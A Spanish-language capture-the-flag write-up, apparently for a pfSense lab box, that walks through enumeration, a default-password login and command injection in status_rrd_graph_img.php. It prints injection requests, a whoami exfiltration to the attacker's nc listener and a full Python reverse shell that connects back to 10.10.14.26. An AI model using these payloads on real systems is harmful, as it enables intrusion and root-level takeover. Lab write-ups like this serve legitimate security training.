Como siempre comenzamos con un nmap pero no hay mucho 80 y 443.
Como es una web application corremos dirbuster. En este caso con una extension que no uso normalmente txt. Eso encuentra el archivo https://10.10.10.60/system-users.txt
####Support ticket### Please create the following user username: Rohit password: company defaults
Con el usuario puedes probar contraseñas comunes. En este caso pfsense fue suficiente para entrar.
Buscando en google encontramos https://www.exploit-db.com/exploits/39709 pero es dificil de explotar… Leyendo un poco de esa vulnerabilidad en la parte de status_rrd https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/ con ejemplos y todo 🙂
Para probarlo solo vamos a la pagina de rrd_graph y vemos el link de la imagen. En mi caso fue:
https://10.10.10.60/status_rrd_graph_img.php?start=1571740803&end=1571769603&database=system-processor.rrd&style=inverse&graph=eight_hour
Lo podemos simplificar en el repeater de burp a solo
GET /status_rrd_graph_img.php?database=system-processor.rr HTTP/1.1 Host: 10.10.10.60 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 ...
Con eso empezamos a hacer pruebas. Primero si hay sleep:
GET /status_rrd_graph_img.php?database=queues;sleep+3 HTTP/1.1 Host: 10.10.10.60 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 ...
Luego NC?
GET /status_rrd_graph_img.php?database=queues;whoami|nc+10.10.14.26+1337 HTTP/1.1 Host: 10.10.10.60
root@Kali2:~/Desktop# nc -nlvp 1337 listening on [any] 1337 ... connect to [10.10.14.26] from (UNKNOWN) [10.10.10.60] 15595 root
Para finalizar vamos a hacer algo a tres bandas que es impresionante. En Burp vamos a pedir un “algo” y lo vamos a mandar a python. Luego en el paso 2 vamos a mandar ese “algo” que es una reverse shell the python. Y finalmente lo vamos a recibir en otro nc. Tres NC 🤯
1 Hacemos un NC y lo mandamos a python
GET /status_rrd_graph_img.php?database=queues;nc+10.10.14.26+1337|python HTTP/1.1 Host: 10.10.10.60 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
2 Mandamos el reverse shell (es muy importante cortar la conexión con contr+c para poder recibir la próxima.
root@Kali2:~/Desktop# nc -nlvp 1337 <shellsense listening on [any] 1337 ... connect to [10.10.14.26] from (UNKNOWN) [10.10.10.60] 28037 ^C root@Kali2:~/Desktop#
///Shelsense: Import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.26",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])
3 Y finalmente recibimos la conexión.
root@Kali2:~# nc -nlvp 1234 listening on [any] 1234 ... connect to [10.10.14.26] from (UNKNOWN) [10.10.10.60] 11985 sh: can't access tty; job control turned off # whoami root
🤯🤯🤯
Y ya tenemos otro maquina nueva 🙂